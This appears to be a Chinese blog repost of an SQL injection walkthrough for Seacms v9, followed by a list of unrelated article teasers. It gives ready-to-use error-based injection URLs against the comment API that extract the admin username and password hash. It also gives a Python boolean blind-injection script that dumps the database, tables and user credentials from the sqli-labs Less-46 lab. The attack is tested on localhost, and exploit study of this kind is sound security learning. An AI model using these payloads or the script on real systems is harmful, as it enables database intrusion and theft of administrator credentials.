seacmsv9管理员账号+密码注入

news/2025/2/28 15:24:31/

Seacms v9 SQL 注入漏洞分析与利用

1. 漏洞概述

Seacms(海洋 CMS)是一款基于 PHP5.X + MySQL 架构的视频点播系统,被广泛用于影视站点管理。在 Seacms v9 版本中,./comment/api/index.php 存在 SQL 注入漏洞,漏洞参数为 $rlist,可用于执行 SQL 注入攻击。

2. 漏洞成因

由于 Seacms v9 是开源的,我们可以直接查看其源码,发现 rlist[] 参数未经过严格的过滤和预处理,导致攻击者可以构造恶意 SQL 语句,实现数据库查询操作。

3. 数据库结构

Seacms v9 版本使用的数据库默认名称为 seacms,其中管理员信息存储在 sea_admin 表。

  • 表名: sea_admin
  • 字段: name(管理员用户名)、password(管理员密码

进行代码分析后找到注点,进行尝试注入

payload:
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

tips:在进行注入时,sea_comment表中一定得先有数据,否则将无法成功注入!!!!

插入数据:

INSERT INTO sea_comment (uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote
) VALUES 
(123, 456, 1, 'user1', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'Nice video!', 0, 1, 5, 0, '', 3),
(124, 457, 2, 'user2', '192.168.1.3', 0, UNIX_TIMESTAMP(), 'Great content!', 0, 0, 8, 1, '', 2);

管理员用户密码注入:

payload:

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

最后由md5解密得管理员账号密码为:admin

二,order by +布尔盲注

由源码可得是通过sort传入的字段进行排序,于是用sort=if(表达式,id,username)的方式注入,通过BS爬虫爬取表格中的username下一格的值看是否等于Dumb来判断表达式的真假,可以使用二分法加快注入速度

代码如下:

import requests
from bs4 import BeautifulSoupdef get_username(response_text):soup = BeautifulSoup(response_text, 'html.parser')username = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')return username.text if username else ''def boolean_sqli_exploit(payload_template):result = ''i = 1while True:left, right = 32, 127while left < right:mid = (left + right) // 2url = payload_template.format(index=i, char_value=mid)resp = requests.get(url)if get_username(resp.text) == 'Dumb':left = mid + 1else:right = midif left == 32:breakresult += chr(left)i += 1print(result)return resultdef inject_database():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)def inject_tables():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)def inject_columns():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)def inject_data():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)if __name__ == '__main__':# inject_database()# inject_tables()# inject_columns()inject_data()


http://www.ppmy.cn/news/1575531.html

相关文章

本地部署DeepSeek全攻略:Ollama+Chatbox保姆级教程

目录 缘起 为什么需要本地部署&#xff1f; 硬件要求建议&#xff1a; 下载Ollama 安装准备 选择对应的平台下载 下载完成点击安装 install 安装完成后验证 win r打开运行窗口 输入cmd打开命令行窗口 输入ollama&#xff0c;看到有这些输出就代表安装ollama成功啦 …

ubuntu下r8125网卡重启丢失修复案例一则

刚装的一台服务器&#xff0c;ubuntu24.04&#xff0c;主板网卡是r8125&#xff0c;安装服务后会莫名其妙丢失驱动 按照官网的方法下载最新8125驱动包&#xff1a; Realtek 然后卸载驱动 rmmod r8125 然后在驱动包里安装&#xff08;幸好我之前装了build-essential&#x…

eclasticsearch文档搜索

版本选择&#xff0c;参考&#xff1a;https://blog.csdn.net/2301_79098963/article/details/138275506 下载elasticsearch-7-10-0&#xff0c;选择windows版本&#xff0c;zip包解压到指定目录即可 https://www.elastic.co/downloads/past-releases/elasticsearch-7-10-0 对…

Linux-IPC-共享内存

Linux IPC 之 共享内存&#xff08;Shared Memory&#xff09; 共享内存&#xff08;Shared Memory&#xff09;是Linux 进程间通信&#xff08;IPC&#xff09;的一种方式&#xff0c;它允许多个进程访问同一块内存区域&#xff0c;从而避免频繁的数据复制&#xff0c;提高效…

vue3+naiveUI开关switch

文档&#xff1a;https://www.naiveui.com/zh-CN/os-theme/components/switch <n-switch :value"active" update:value"onSwitch" :loading"loading" :rubber-band"false"><template #checked>正常</template><t…

【Viewer.js】vue3封装图片查看器

效果图 需求 点击图片放大可关闭放大的 图片 下载 cnpm in viewerjs状态管理方法 stores/imgSeeStore.js import { defineStore } from pinia export const imgSeeStore defineStore(imgSeeStore, {state: () > ({showImgSee: false,ImgUrl: ,}),getters: {},actions: {…

解决npm run dev报错

解决&#xff1a;Node.js 版本更新后与 OpenSSL 不兼容导致的npm报错“Error: error:0308010C:digital envelope routines::unsupported” 方法一&#xff1a;更改系统环境变量方法二&#xff1a;更改项目环境变量方法三&#xff1a;更换 Node.js 版本方法四&#xff1a;升级依…

DDD 架构之领域驱动设计【通俗易懂】

文章目录 1. 前言2. MVC 对比 DDD3. DDD 分层架构4. 完整业务流程 1. 前言 官方回答&#xff1a;DDD是一种应对复杂业务系统的设计方法&#xff0c;通过将软件设计与业务领域紧密结合&#xff0c;帮助开发人员构建清晰、可维护的领域模型。在复杂的业务系统中&#xff0c;它能…